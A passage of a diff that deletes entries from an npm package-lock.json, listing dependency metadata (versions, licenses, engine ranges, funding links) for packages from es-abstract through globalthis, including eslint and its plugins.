- "license": "MIT",
- "dependencies": {
- "array-buffer-byte-length": "^1.0.1",
- "arraybuffer.prototype.slice": "^1.0.3",
- "available-typed-arrays": "^1.0.7",
- "call-bind": "^1.0.7",
- "data-view-buffer": "^1.0.1",
- "data-view-byte-length": "^1.0.1",
- "data-view-byte-offset": "^1.0.0",
- "es-define-property": "^1.0.0",
- "es-errors": "^1.3.0",
- "es-object-atoms": "^1.0.0",
- "es-set-tostringtag": "^2.0.3",
- "es-to-primitive": "^1.2.1",
- "function.prototype.name": "^1.1.6",
- "get-intrinsic": "^1.2.4",
- "get-symbol-description": "^1.0.2",
- "globalthis": "^1.0.3",
- "gopd": "^1.0.1",
- "has-property-descriptors": "^1.0.2",
- "has-proto": "^1.0.3",
- "has-symbols": "^1.0.3",
- "hasown": "^2.0.2",
- "internal-slot": "^1.0.7",
- "is-array-buffer": "^3.0.4",
- "is-callable": "^1.2.7",
- "is-data-view": "^1.0.1",
- "is-negative-zero": "^2.0.3",
- "is-regex": "^1.1.4",
- "is-shared-array-buffer": "^1.0.3",
- "is-string": "^1.0.7",
- "is-typed-array": "^1.1.13",
- "is-weakref": "^1.0.2",
- "object-inspect": "^1.13.1",
- "object-keys": "^1.1.1",
- "object.assign": "^4.1.5",
- "regexp.prototype.flags": "^1.5.2",
- "safe-array-concat": "^1.1.2",
- "safe-regex-test": "^1.0.3",
- "string.prototype.trim": "^1.2.9",
- "string.prototype.trimend": "^1.0.8",
- "string.prototype.trimstart": "^1.0.8",
- "typed-array-buffer": "^1.0.2",
- "typed-array-byte-length": "^1.0.1",
- "typed-array-byte-offset": "^1.0.2",
- "typed-array-length": "^1.0.6",
- "unbox-primitive": "^1.0.2",
- "which-typed-array": "^1.1.15"
- },
- "engines": {
- "node": ">= 0.4"
- },
- "funding": {
- "url": "https://github.com/sponsors/ljharb"
- }
- },
- "node_modules/es-define-property": {
- "version": "1.0.0",
- "license": "MIT",
- "dependencies": {
- "get-intrinsic": "^1.2.4"
- },
- "engines": {
- "node": ">= 0.4"
- }
- },
- "node_modules/es-errors": {
- "version": "1.3.0",
- "license": "MIT",
- "engines": {
- "node": ">= 0.4"
- }
- },
- "node_modules/es-iterator-helpers": {
- "version": "1.0.19",
- "dev": true,
- "license": "MIT",
- "dependencies": {
- "call-bind": "^1.0.7",
- "define-properties": "^1.2.1",
- "es-abstract": "^1.23.3",
- "es-errors": "^1.3.0",
- "es-set-tostringtag": "^2.0.3",
- "function-bind": "^1.1.2",
- "get-intrinsic": "^1.2.4",
- "globalthis": "^1.0.3",
- "has-property-descriptors": "^1.0.2",
- "has-proto": "^1.0.3",
- "has-symbols": "^1.0.3",
- "internal-slot": "^1.0.7",
- "iterator.prototype": "^1.1.2",
- "safe-array-concat": "^1.1.2"
- },
- "engines": {
- "node": ">= 0.4"
- }
- },
- "node_modules/es-object-atoms": {
- "version": "1.0.0",
- "dev": true,
- "license": "MIT",
- "dependencies": {
- "es-errors": "^1.3.0"
- },
- "engines": {
- "node": ">= 0.4"
- }
- },
- "node_modules/es-set-tostringtag": {
- "version": "2.0.3",
- "dev": true,
- "license": "MIT",
- "dependencies": {
- "get-intrinsic": "^1.2.4",
- "has-tostringtag": "^1.0.2",
- "hasown": "^2.0.1"
- },
- "engines": {
- "node": ">= 0.4"
- }
- },
- "node_modules/es-shim-unscopables": {
- "version": "1.0.2",
- "dev": true,
- "license": "MIT",
- "dependencies": {
- "hasown": "^2.0.0"
- }
- },
- "node_modules/es-to-primitive": {
- "version": "1.2.1",
- "dev": true,
- "license": "MIT",
- "dependencies": {
- "is-callable": "^1.1.4",
- "is-date-object": "^1.0.1",
- "is-symbol": "^1.0.2"
- },
- "engines": {
- "node": ">= 0.4"
- },
- "funding": {
- "url": "https://github.com/sponsors/ljharb"
- }
- },
- "node_modules/escalade": {
- "version": "3.1.2",
- "license": "MIT",
- "engines": {
- "node": ">=6"
- }
- },
- "node_modules/escape-string-regexp": {
- "version": "1.0.5",
- "license": "MIT",
- "engines": {
- "node": ">=0.8.0"
- }
- },
- "node_modules/escodegen": {
- "version": "2.1.0",
- "license": "BSD-2-Clause",
- "dependencies": {
- "esprima": "^4.0.1",
- "estraverse": "^5.2.0",
- "esutils": "^2.0.2"
- },
- "bin": {
- "escodegen": "bin/escodegen.js",
- "esgenerate": "bin/esgenerate.js"
- },
- "engines": {
- "node": ">=6.0"
- },
- "optionalDependencies": {
- "source-map": "~0.6.1"
- }
- },
- "node_modules/escodegen/node_modules/estraverse": {
- "version": "5.3.0",
- "license": "BSD-2-Clause",
- "engines": {
- "node": ">=4.0"
- }
- },
- "node_modules/escodegen/node_modules/source-map": {
- "version": "0.6.1",
- "license": "BSD-3-Clause",
- "optional": true,
- "engines": {
- "node": ">=0.10.0"
- }
- },
- "node_modules/eslint": {
- "version": "9.9.0",
- "dev": true,
- "license": "MIT",
- "dependencies": {
- "@eslint-community/eslint-utils": "^4.2.0",
- "@eslint-community/regexpp": "^4.11.0",
- "@eslint/config-array": "^0.17.1",
- "@eslint/eslintrc": "^3.1.0",
- "@eslint/js": "9.9.0",
- "@humanwhocodes/module-importer": "^1.0.1",
- "@humanwhocodes/retry": "^0.3.0",
- "@nodelib/fs.walk": "^1.2.8",
- "ajv": "^6.12.4",
- "chalk": "^4.0.0",
- "cross-spawn": "^7.0.2",
- "debug": "^4.3.2",
- "escape-string-regexp": "^4.0.0",
- "eslint-scope": "^8.0.2",
- "eslint-visitor-keys": "^4.0.0",
- "espree": "^10.1.0",
- "esquery": "^1.5.0",
- "esutils": "^2.0.2",
- "fast-deep-equal": "^3.1.3",
- "file-entry-cache": "^8.0.0",
- "find-up": "^5.0.0",
- "glob-parent": "^6.0.2",
- "ignore": "^5.2.0",
- "imurmurhash": "^0.1.4",
- "is-glob": "^4.0.0",
- "is-path-inside": "^3.0.3",
- "json-stable-stringify-without-jsonify": "^1.0.1",
- "levn": "^0.4.1",
- "lodash.merge": "^4.6.2",
- "minimatch": "^3.1.2",
- "natural-compare": "^1.4.0",
- "optionator": "^0.9.3",
- "strip-ansi": "^6.0.1",
- "text-table": "^0.2.0"
- },
- "bin": {
- "eslint": "bin/eslint.js"
- },
- "engines": {
- "node": "^18.18.0 || ^20.9.0 || >=21.1.0"
- },
- "funding": {
- "url": "https://eslint.org/donate"
- },
- "peerDependencies": {
- "jiti": "*"
- },
- "peerDependenciesMeta": {
- "jiti": {
- "optional": true
- }
- }
- },
- "node_modules/eslint-config-prettier": {
- "version": "9.1.0",
- "dev": true,
- "license": "MIT",
- "bin": {
- "eslint-config-prettier": "bin/cli.js"
- },
- "peerDependencies": {
- "eslint": ">=7.0.0"
- }
- },
- "node_modules/eslint-plugin-prettier": {
- "version": "5.2.1",
- "dev": true,
- "license": "MIT",
- "dependencies": {
- "prettier-linter-helpers": "^1.0.0",
- "synckit": "^0.9.1"
- },
- "engines": {
- "node": "^14.18.0 || >=16.0.0"
- },
- "funding": {
- "url": "https://opencollective.com/eslint-plugin-prettier"
- },
- "peerDependencies": {
- "@types/eslint": ">=8.0.0",
- "eslint": ">=8.0.0",
- "eslint-config-prettier": "*",
- "prettier": ">=3.0.0"
- },
- "peerDependenciesMeta": {
- "@types/eslint": {
- "optional": true
- },
- "eslint-config-prettier": {
- "optional": true
- }
- }
- },
- "node_modules/eslint-plugin-react": {
- "version": "7.35.0",
- "dev": true,
- "license": "MIT",
- "dependencies": {
- "array-includes": "^3.1.8",
- "array.prototype.findlast": "^1.2.5",
- "array.prototype.flatmap": "^1.3.2",
- "array.prototype.tosorted": "^1.1.4",
- "doctrine": "^2.1.0",
- "es-iterator-helpers": "^1.0.19",
- "estraverse": "^5.3.0",
- "hasown": "^2.0.2",
- "jsx-ast-utils": "^2.4.1 || ^3.0.0",
- "minimatch": "^3.1.2",
- "object.entries": "^1.1.8",
- "object.fromentries": "^2.0.8",
- "object.values": "^1.2.0",
- "prop-types": "^15.8.1",
- "resolve": "^2.0.0-next.5",
- "semver": "^6.3.1",
- "string.prototype.matchall": "^4.0.11",
- "string.prototype.repeat": "^1.0.0"
- },
- "engines": {
- "node": ">=4"
- },
- "peerDependencies": {
- "eslint": "^3 || ^4 || ^5 || ^6 || ^7 || ^8 || ^9.7"
- }
- },
- "node_modules/eslint-plugin-react/node_modules/estraverse": {
- "version": "5.3.0",
- "dev": true,
- "license": "BSD-2-Clause",
- "engines": {
- "node": ">=4.0"
- }
- },
- "node_modules/eslint-plugin-react/node_modules/resolve": {
- "version": "2.0.0-next.5",
- "dev": true,
- "license": "MIT",
- "dependencies": {
- "is-core-module": "^2.13.0",
- "path-parse": "^1.0.7",
- "supports-preserve-symlinks-flag": "^1.0.0"
- },
- "bin": {
- "resolve": "bin/resolve"
- },
- "funding": {
- "url": "https://github.com/sponsors/ljharb"
- }
- },
- "node_modules/eslint-scope": {
- "version": "4.0.3",
- "license": "BSD-2-Clause",
- "peer": true,
- "dependencies": {
- "esrecurse": "^4.1.0",
- "estraverse": "^4.1.1"
- },
- "engines": {
- "node": ">=4.0.0"
- }
- },
- "node_modules/eslint-visitor-keys": {
- "version": "4.0.0",
- "dev": true,
- "license": "Apache-2.0",
- "engines": {
- "node": "^18.18.0 || ^20.9.0 || >=21.1.0"
- },
- "funding": {
- "url": "https://opencollective.com/eslint"
- }
- },
- "node_modules/eslint/node_modules/ansi-regex": {
- "version": "5.0.1",
- "dev": true,
- "license": "MIT",
- "engines": {
- "node": ">=8"
- }
- },
- "node_modules/eslint/node_modules/ansi-styles": {
- "version": "4.3.0",
- "dev": true,
- "license": "MIT",
- "dependencies": {
- "color-convert": "^2.0.1"
- },
- "engines": {
- "node": ">=8"
- },
- "funding": {
- "url": "https://github.com/chalk/ansi-styles?sponsor=1"
- }
- },
- "node_modules/eslint/node_modules/chalk": {
- "version": "4.1.2",
- "dev": true,
- "license": "MIT",
- "dependencies": {
- "ansi-styles": "^4.1.0",
- "supports-color": "^7.1.0"
- },
- "engines": {
- "node": ">=10"
- },
- "funding": {
- "url": "https://github.com/chalk/chalk?sponsor=1"
- }
- },
- "node_modules/eslint/node_modules/color-convert": {
- "version": "2.0.1",
- "dev": true,
- "license": "MIT",
- "dependencies": {
- "color-name": "~1.1.4"
- },
- "engines": {
- "node": ">=7.0.0"
- }
- },
- "node_modules/eslint/node_modules/color-name": {
- "version": "1.1.4",
- "dev": true,
- "license": "MIT"
- },
- "node_modules/eslint/node_modules/escape-string-regexp": {
- "version": "4.0.0",
- "dev": true,
- "license": "MIT",
- "engines": {
- "node": ">=10"
- },
- "funding": {
- "url": "https://github.com/sponsors/sindresorhus"
- }
- },
- "node_modules/eslint/node_modules/eslint-scope": {
- "version": "8.0.2",
- "dev": true,
- "license": "BSD-2-Clause",
- "dependencies": {
- "esrecurse": "^4.3.0",
- "estraverse": "^5.2.0"
- },
- "engines": {
- "node": "^18.18.0 || ^20.9.0 || >=21.1.0"
- },
- "funding": {
- "url": "https://opencollective.com/eslint"
- }
- },
- "node_modules/eslint/node_modules/estraverse": {
- "version": "5.3.0",
- "dev": true,
- "license": "BSD-2-Clause",
- "engines": {
- "node": ">=4.0"
- }
- },
- "node_modules/eslint/node_modules/find-up": {
- "version": "5.0.0",
- "dev": true,
- "license": "MIT",
- "dependencies": {
- "locate-path": "^6.0.0",
- "path-exists": "^4.0.0"
- },
- "engines": {
- "node": ">=10"
- },
- "funding": {
- "url": "https://github.com/sponsors/sindresorhus"
- }
- },
- "node_modules/eslint/node_modules/has-flag": {
- "version": "4.0.0",
- "dev": true,
- "license": "MIT",
- "engines": {
- "node": ">=8"
- }
- },
- "node_modules/eslint/node_modules/ignore": {
- "version": "5.3.2",
- "dev": true,
- "license": "MIT",
- "engines": {
- "node": ">= 4"
- }
- },
- "node_modules/eslint/node_modules/locate-path": {
- "version": "6.0.0",
- "dev": true,
- "license": "MIT",
- "dependencies": {
- "p-locate": "^5.0.0"
- },
- "engines": {
- "node": ">=10"
- },
- "funding": {
- "url": "https://github.com/sponsors/sindresorhus"
- }
- },
- "node_modules/eslint/node_modules/p-limit": {
- "version": "3.1.0",
- "dev": true,
- "license": "MIT",
- "dependencies": {
- "yocto-queue": "^0.1.0"
- },
- "engines": {
- "node": ">=10"
- },
- "funding": {
- "url": "https://github.com/sponsors/sindresorhus"
- }
- },
- "node_modules/eslint/node_modules/p-locate": {
- "version": "5.0.0",
- "dev": true,
- "license": "MIT",
- "dependencies": {
- "p-limit": "^3.0.2"
- },
- "engines": {
- "node": ">=10"
- },
- "funding": {
- "url": "https://github.com/sponsors/sindresorhus"
- }
- },
- "node_modules/eslint/node_modules/strip-ansi": {
- "version": "6.0.1",
- "dev": true,
- "license": "MIT",
- "dependencies": {
- "ansi-regex": "^5.0.1"
- },
- "engines": {
- "node": ">=8"
- }
- },
- "node_modules/eslint/node_modules/supports-color": {
- "version": "7.2.0",
- "dev": true,
- "license": "MIT",
- "dependencies": {
- "has-flag": "^4.0.0"
- },
- "engines": {
- "node": ">=8"
- }
- },
- "node_modules/espree": {
- "version": "10.1.0",
- "dev": true,
- "license": "BSD-2-Clause",
- "dependencies": {
- "acorn": "^8.12.0",
- "acorn-jsx": "^5.3.2",
- "eslint-visitor-keys": "^4.0.0"
- },
- "engines": {
- "node": "^18.18.0 || ^20.9.0 || >=21.1.0"
- },
- "funding": {
- "url": "https://opencollective.com/eslint"
- }
- },
- "node_modules/espree/node_modules/acorn": {
- "version": "8.12.1",
- "dev": true,
- "license": "MIT",
- "bin": {
- "acorn": "bin/acorn"
- },
- "engines": {
- "node": ">=0.4.0"
- }
- },
- "node_modules/esprima": {
- "version": "4.0.1",
- "license": "BSD-2-Clause",
- "bin": {
- "esparse": "bin/esparse.js",
- "esvalidate": "bin/esvalidate.js"
- },
- "engines": {
- "node": ">=4"
- }
- },
- "node_modules/esquery": {
- "version": "1.6.0",
- "dev": true,
- "license": "BSD-3-Clause",
- "dependencies": {
- "estraverse": "^5.1.0"
- },
- "engines": {
- "node": ">=0.10"
- }
- },
- "node_modules/esquery/node_modules/estraverse": {
- "version": "5.3.0",
- "dev": true,
- "license": "BSD-2-Clause",
- "engines": {
- "node": ">=4.0"
- }
- },
- "node_modules/esrecurse": {
- "version": "4.3.0",
- "license": "BSD-2-Clause",
- "dependencies": {
- "estraverse": "^5.2.0"
- },
- "engines": {
- "node": ">=4.0"
- }
- },
- "node_modules/esrecurse/node_modules/estraverse": {
- "version": "5.3.0",
- "license": "BSD-2-Clause",
- "engines": {
- "node": ">=4.0"
- }
- },
- "node_modules/estraverse": {
- "version": "4.3.0",
- "license": "BSD-2-Clause",
- "peer": true,
- "engines": {
- "node": ">=4.0"
- }
- },
- "node_modules/esutils": {
- "version": "2.0.3",
- "license": "BSD-2-Clause",
- "engines": {
- "node": ">=0.10.0"
- }
- },
- "node_modules/eventemitter3": {
- "version": "5.0.1",
- "dev": true,
- "license": "MIT"
- },
- "node_modules/events": {
- "version": "3.3.0",
- "license": "MIT",
- "peer": true,
- "engines": {
- "node": ">=0.8.x"
- }
- },
- "node_modules/evp_bytestokey": {
- "version": "1.0.3",
- "license": "MIT",
- "peer": true,
- "dependencies": {
- "md5.js": "^1.3.4",
- "safe-buffer": "^5.1.1"
- }
- },
- "node_modules/execa": {
- "version": "8.0.1",
- "dev": true,
- "license": "MIT",
- "dependencies": {
- "cross-spawn": "^7.0.3",
- "get-stream": "^8.0.1",
- "human-signals": "^5.0.0",
- "is-stream": "^3.0.0",
- "merge-stream": "^2.0.0",
- "npm-run-path": "^5.1.0",
- "onetime": "^6.0.0",
- "signal-exit": "^4.1.0",
- "strip-final-newline": "^3.0.0"
- },
- "engines": {
- "node": ">=16.17"
- },
- "funding": {
- "url": "https://github.com/sindresorhus/execa?sponsor=1"
- }
- },
- "node_modules/expand-brackets": {
- "version": "2.1.4",
- "license": "MIT",
- "dependencies": {
- "debug": "^2.3.3",
- "define-property": "^0.2.5",
- "extend-shallow": "^2.0.1",
- "posix-character-classes": "^0.1.0",
- "regex-not": "^1.0.0",
- "snapdragon": "^0.8.1",
- "to-regex": "^3.0.1"
- },
- "engines": {
- "node": ">=0.10.0"
- }
- },
- "node_modules/expand-brackets/node_modules/debug": {
- "version": "2.6.9",
- "license": "MIT",
- "dependencies": {
- "ms": "2.0.0"
- }
- },
- "node_modules/expand-brackets/node_modules/define-property": {
- "version": "0.2.5",
- "license": "MIT",
- "dependencies": {
- "is-descriptor": "^0.1.0"
- },
- "engines": {
- "node": ">=0.10.0"
- }
- },
- "node_modules/expand-brackets/node_modules/extend-shallow": {
- "version": "2.0.1",
- "license": "MIT",
- "dependencies": {
- "is-extendable": "^0.1.0"
- },
- "engines": {
- "node": ">=0.10.0"
- }
- },
- "node_modules/expand-brackets/node_modules/is-descriptor": {
- "version": "0.1.7",
- "license": "MIT",
- "dependencies": {
- "is-accessor-descriptor": "^1.0.1",
- "is-data-descriptor": "^1.0.1"
- },
- "engines": {
- "node": ">= 0.4"
- }
- },
- "node_modules/expand-brackets/node_modules/is-extendable": {
- "version": "0.1.1",
- "license": "MIT",
- "engines": {
- "node": ">=0.10.0"
- }
- },
- "node_modules/expand-brackets/node_modules/ms": {
- "version": "2.0.0",
- "license": "MIT"
- },
- "node_modules/extend-shallow": {
- "version": "3.0.2",
- "license": "MIT",
- "dependencies": {
- "assign-symbols": "^1.0.0",
- "is-extendable": "^1.0.1"
- },
- "engines": {
- "node": ">=0.10.0"
- }
- },
- "node_modules/extglob": {
- "version": "2.0.4",
- "license": "MIT",
- "dependencies": {
- "array-unique": "^0.3.2",
- "define-property": "^1.0.0",
- "expand-brackets": "^2.1.4",
- "extend-shallow": "^2.0.1",
- "fragment-cache": "^0.2.1",
- "regex-not": "^1.0.0",
- "snapdragon": "^0.8.1",
- "to-regex": "^3.0.1"
- },
- "engines": {
- "node": ">=0.10.0"
- }
- },
- "node_modules/extglob/node_modules/define-property": {
- "version": "1.0.0",
- "license": "MIT",
- "dependencies": {
- "is-descriptor": "^1.0.0"
- },
- "engines": {
- "node": ">=0.10.0"
- }
- },
- "node_modules/extglob/node_modules/extend-shallow": {
- "version": "2.0.1",
- "license": "MIT",
- "dependencies": {
- "is-extendable": "^0.1.0"
- },
- "engines": {
- "node": ">=0.10.0"
- }
- },
- "node_modules/extglob/node_modules/is-extendable": {
- "version": "0.1.1",
- "license": "MIT",
- "engines": {
- "node": ">=0.10.0"
- }
- },
- "node_modules/fast-deep-equal": {
- "version": "3.1.3",
- "license": "MIT"
- },
- "node_modules/fast-diff": {
- "version": "1.3.0",
- "dev": true,
- "license": "Apache-2.0"
- },
- "node_modules/fast-glob": {
- "version": "3.3.2",
- "license": "MIT",
- "dependencies": {
- "@nodelib/fs.stat": "^2.0.2",
- "@nodelib/fs.walk": "^1.2.3",
- "glob-parent": "^5.1.2",
- "merge2": "^1.3.0",
- "micromatch": "^4.0.4"
- },
- "engines": {
- "node": ">=8.6.0"
- }
- },
- "node_modules/fast-glob/node_modules/glob-parent": {
- "version": "5.1.2",
- "license": "ISC",
- "dependencies": {
- "is-glob": "^4.0.1"
- },
- "engines": {
- "node": ">= 6"
- }
- },
- "node_modules/fast-json-stable-stringify": {
- "version": "2.1.0",
- "license": "MIT"
- },
- "node_modules/fast-levenshtein": {
- "version": "2.0.6",
- "dev": true,
- "license": "MIT"
- },
- "node_modules/fastq": {
- "version": "1.17.1",
- "license": "ISC",
- "dependencies": {
- "reusify": "^1.0.4"
- }
- },
- "node_modules/figgy-pudding": {
- "version": "3.5.2",
- "license": "ISC",
- "peer": true
- },
- "node_modules/figures": {
- "version": "3.2.0",
- "license": "MIT",
- "dependencies": {
- "escape-string-regexp": "^1.0.5"
- },
- "engines": {
- "node": ">=8"
- },
- "funding": {
- "url": "https://github.com/sponsors/sindresorhus"
- }
- },
- "node_modules/file-entry-cache": {
- "version": "8.0.0",
- "dev": true,
- "license": "MIT",
- "dependencies": {
- "flat-cache": "^4.0.0"
- },
- "engines": {
- "node": ">=16.0.0"
- }
- },
- "node_modules/file-loader": {
- "version": "3.0.1",
- "license": "MIT",
- "dependencies": {
- "loader-utils": "^1.0.2",
- "schema-utils": "^1.0.0"
- },
- "engines": {
- "node": ">= 6.9.0"
- },
- "peerDependencies": {
- "webpack": "^4.0.0"
- }
- },
- "node_modules/file-type": {
- "version": "10.11.0",
- "license": "MIT",
- "engines": {
- "node": ">=6"
- }
- },
- "node_modules/filename-reserved-regex": {
- "version": "2.0.0",
- "dev": true,
- "license": "MIT",
- "engines": {
- "node": ">=4"
- }
- },
- "node_modules/filenamify": {
- "version": "4.3.0",
- "dev": true,
- "license": "MIT",
- "dependencies": {
- "filename-reserved-regex": "^2.0.0",
- "strip-outer": "^1.0.1",
- "trim-repeated": "^1.0.0"
- },
- "engines": {
- "node": ">=8"
- },
- "funding": {
- "url": "https://github.com/sponsors/sindresorhus"
- }
- },
- "node_modules/fill-range": {
- "version": "7.1.1",
- "license": "MIT",
- "dependencies": {
- "to-regex-range": "^5.0.1"
- },
- "engines": {
- "node": ">=8"
- }
- },
- "node_modules/filter-obj": {
- "version": "5.1.0",
- "resolved": "https://registry.npmjs.org/filter-obj/-/filter-obj-5.1.0.tgz",
- "integrity": "sha512-qWeTREPoT7I0bifpPUXtxkZJ1XJzxWtfoWWkdVGqa+eCr3SHW/Ocp89o8vLvbUuQnadybJpjOKu4V+RwO6sGng==",
- "engines": {
- "node": ">=14.16"
- },
- "funding": {
- "url": "https://github.com/sponsors/sindresorhus"
- }
- },
- "node_modules/find-cache-dir": {
- "version": "3.3.2",
- "dev": true,
- "license": "MIT",
- "dependencies": {
- "commondir": "^1.0.1",
- "make-dir": "^3.0.2",
- "pkg-dir": "^4.1.0"
- },
- "engines": {
- "node": ">=8"
- },
- "funding": {
- "url": "https://github.com/avajs/find-cache-dir?sponsor=1"
- }
- },
- "node_modules/find-root": {
- "version": "1.1.0",
- "license": "MIT",
- "peer": true
- },
- "node_modules/find-up": {
- "version": "4.1.0",
- "dev": true,
- "license": "MIT",
- "dependencies": {
- "locate-path": "^5.0.0",
- "path-exists": "^4.0.0"
- },
- "engines": {
- "node": ">=8"
- }
- },
- "node_modules/flat": {
- "version": "5.0.2",
- "license": "BSD-3-Clause",
- "peer": true,
- "bin": {
- "flat": "cli.js"
- }
- },
- "node_modules/flat-cache": {
- "version": "4.0.1",
- "dev": true,
- "license": "MIT",
- "dependencies": {
- "flatted": "^3.2.9",
- "keyv": "^4.5.4"
- },
- "engines": {
- "node": ">=16"
- }
- },
- "node_modules/flatted": {
- "version": "3.3.1",
- "dev": true,
- "license": "ISC"
- },
- "node_modules/flush-write-stream": {
- "version": "1.1.1",
- "license": "MIT",
- "peer": true,
- "dependencies": {
- "inherits": "^2.0.3",
- "readable-stream": "^2.3.6"
- }
- },
- "node_modules/focus-lock": {
- "version": "1.3.5",
- "license": "MIT",
- "dependencies": {
- "tslib": "^2.0.3"
- },
- "engines": {
- "node": ">=10"
- }
- },
- "node_modules/follow-redirects": {
- "version": "1.15.9",
- "resolved": "https://registry.npmjs.org/follow-redirects/-/follow-redirects-1.15.9.tgz",
- "integrity": "sha512-gew4GsXizNgdoRyqmyfMHyAmXsZDk6mHkSxZFCzW9gwlbtOW44CDtYavM+y+72qD/Vq2l550kMF52DT8fOLJqQ==",
- "funding": [
- {
- "type": "individual",
- "url": "https://github.com/sponsors/RubenVerborgh"
- }
- ],
- "engines": {
- "node": ">=4.0"
- },
- "peerDependenciesMeta": {
- "debug": {
- "optional": true
- }
- }
- },
- "node_modules/for-each": {
- "version": "0.3.3",
- "dev": true,
- "license": "MIT",
- "dependencies": {
- "is-callable": "^1.1.3"
- }
- },
- "node_modules/for-in": {
- "version": "1.0.2",
- "license": "MIT",
- "engines": {
- "node": ">=0.10.0"
- }
- },
- "node_modules/foreground-child": {
- "version": "3.2.1",
- "license": "ISC",
- "dependencies": {
- "cross-spawn": "^7.0.0",
- "signal-exit": "^4.0.1"
- },
- "engines": {
- "node": ">=14"
- },
- "funding": {
- "url": "https://github.com/sponsors/isaacs"
- }
- },
- "node_modules/form-data": {
- "version": "4.0.0",
- "license": "MIT",
- "dependencies": {
- "asynckit": "^0.4.0",
- "combined-stream": "^1.0.8",
- "mime-types": "^2.1.12"
- },
- "engines": {
- "node": ">= 6"
- }
- },
- "node_modules/fraction.js": {
- "version": "4.3.7",
- "dev": true,
- "license": "MIT",
- "engines": {
- "node": "*"
- },
- "funding": {
- "type": "patreon",
- "url": "https://github.com/sponsors/rawify"
- }
- },
- "node_modules/fragment-cache": {
- "version": "0.2.1",
- "license": "MIT",
- "dependencies": {
- "map-cache": "^0.2.2"
- },
- "engines": {
- "node": ">=0.10.0"
- }
- },
- "node_modules/framer-motion": {
- "version": "11.2.12",
- "license": "MIT",
- "peer": true,
- "dependencies": {
- "tslib": "^2.4.0"
- },
- "peerDependencies": {
- "@emotion/is-prop-valid": "*",
- "react": "^18.0.0",
- "react-dom": "^18.0.0"
- },
- "peerDependenciesMeta": {
- "@emotion/is-prop-valid": {
- "optional": true
- },
- "react": {
- "optional": true
- },
- "react-dom": {
- "optional": true
- }
- }
- },
- "node_modules/framesync": {
- "version": "6.1.2",
- "license": "MIT",
- "dependencies": {
- "tslib": "2.4.0"
- }
- },
- "node_modules/framesync/node_modules/tslib": {
- "version": "2.4.0",
- "license": "0BSD"
- },
- "node_modules/from2": {
- "version": "2.3.0",
- "license": "MIT",
- "peer": true,
- "dependencies": {
- "inherits": "^2.0.1",
- "readable-stream": "^2.0.0"
- }
- },
- "node_modules/fs-extra": {
- "version": "11.2.0",
- "dev": true,
- "license": "MIT",
- "dependencies": {
- "graceful-fs": "^4.2.0",
- "jsonfile": "^6.0.1",
- "universalify": "^2.0.0"
- },
- "engines": {
- "node": ">=14.14"
- }
- },
- "node_modules/fs-write-stream-atomic": {
- "version": "1.0.10",
- "license": "ISC",
- "peer": true,
- "dependencies": {
- "graceful-fs": "^4.1.2",
- "iferr": "^0.1.5",
- "imurmurhash": "^0.1.4",
- "readable-stream": "1 || 2"
- }
- },
- "node_modules/fs.realpath": {
- "version": "1.0.0",
- "license": "ISC"
- },
- "node_modules/function-bind": {
- "version": "1.1.2",
- "license": "MIT",
- "funding": {
- "url": "https://github.com/sponsors/ljharb"
- }
- },
- "node_modules/function.prototype.name": {
- "version": "1.1.6",
- "dev": true,
- "license": "MIT",
- "dependencies": {
- "call-bind": "^1.0.2",
- "define-properties": "^1.2.0",
- "es-abstract": "^1.22.1",
- "functions-have-names": "^1.2.3"
- },
- "engines": {
- "node": ">= 0.4"
- },
- "funding": {
- "url": "https://github.com/sponsors/ljharb"
- }
- },
- "node_modules/functions-have-names": {
- "version": "1.2.3",
- "dev": true,
- "license": "MIT",
- "funding": {
- "url": "https://github.com/sponsors/ljharb"
- }
- },
- "node_modules/gensync": {
- "version": "1.0.0-beta.2",
- "license": "MIT",
- "peer": true,
- "engines": {
- "node": ">=6.9.0"
- }
- },
- "node_modules/get-east-asian-width": {
- "version": "1.2.0",
- "dev": true,
- "license": "MIT",
- "engines": {
- "node": ">=18"
- },
- "funding": {
- "url": "https://github.com/sponsors/sindresorhus"
- }
- },
- "node_modules/get-intrinsic": {
- "version": "1.2.4",
- "license": "MIT",
- "dependencies": {
- "es-errors": "^1.3.0",
- "function-bind": "^1.1.2",
- "has-proto": "^1.0.1",
- "has-symbols": "^1.0.3",
- "hasown": "^2.0.0"
- },
- "engines": {
- "node": ">= 0.4"
- },
- "funding": {
- "url": "https://github.com/sponsors/ljharb"
- }
- },
- "node_modules/get-nonce": {
- "version": "1.0.1",
- "license": "MIT",
- "engines": {
- "node": ">=6"
- }
- },
- "node_modules/get-stream": {
- "version": "8.0.1",
- "dev": true,
- "license": "MIT",
- "engines": {
- "node": ">=16"
- },
- "funding": {
- "url": "https://github.com/sponsors/sindresorhus"
- }
- },
- "node_modules/get-symbol-description": {
- "version": "1.0.2",
- "dev": true,
- "license": "MIT",
- "dependencies": {
- "call-bind": "^1.0.5",
- "es-errors": "^1.3.0",
- "get-intrinsic": "^1.2.4"
- },
- "engines": {
- "node": ">= 0.4"
- },
- "funding": {
- "url": "https://github.com/sponsors/ljharb"
- }
- },
- "node_modules/get-value": {
- "version": "2.0.6",
- "license": "MIT",
- "engines": {
- "node": ">=0.10.0"
- }
- },
- "node_modules/gh-pages": {
- "version": "6.1.1",
- "dev": true,
- "license": "MIT",
- "dependencies": {
- "async": "^3.2.4",
- "commander": "^11.0.0",
- "email-addresses": "^5.0.0",
- "filenamify": "^4.3.0",
- "find-cache-dir": "^3.3.1",
- "fs-extra": "^11.1.1",
- "globby": "^6.1.0"
- },
- "bin": {
- "gh-pages": "bin/gh-pages.js",
- "gh-pages-clean": "bin/gh-pages-clean.js"
- },
- "engines": {
- "node": ">=10"
- }
- },
- "node_modules/glob": {
- "version": "7.2.3",
- "license": "ISC",
- "dependencies": {
- "fs.realpath": "^1.0.0",
- "inflight": "^1.0.4",
- "inherits": "2",
- "minimatch": "^3.1.1",
- "once": "^1.3.0",
- "path-is-absolute": "^1.0.0"
- },
- "engines": {
- "node": "*"
- },
- "funding": {
- "url": "https://github.com/sponsors/isaacs"
- }
- },
- "node_modules/glob-parent": {
- "version": "6.0.2",
- "license": "ISC",
- "dependencies": {
- "is-glob": "^4.0.3"
- },
- "engines": {
- "node": ">=10.13.0"
- }
- },
- "node_modules/glob-to-regexp": {
- "version": "0.3.0",
- "license": "BSD"
- },
- "node_modules/globals": {
- "version": "15.9.0",
- "dev": true,
- "license": "MIT",
- "engines": {
- "node": ">=18"
- },
- "funding": {
- "url": "https://github.com/sponsors/sindresorhus"
- }
- },
- "node_modules/globalthis": {
- "version": "1.0.4",
- "dev": true,
- "license": "MIT",
- "dependencies": {
- "define-properties": "^1.2.1",
- "gopd": "^1.0.1"
- },
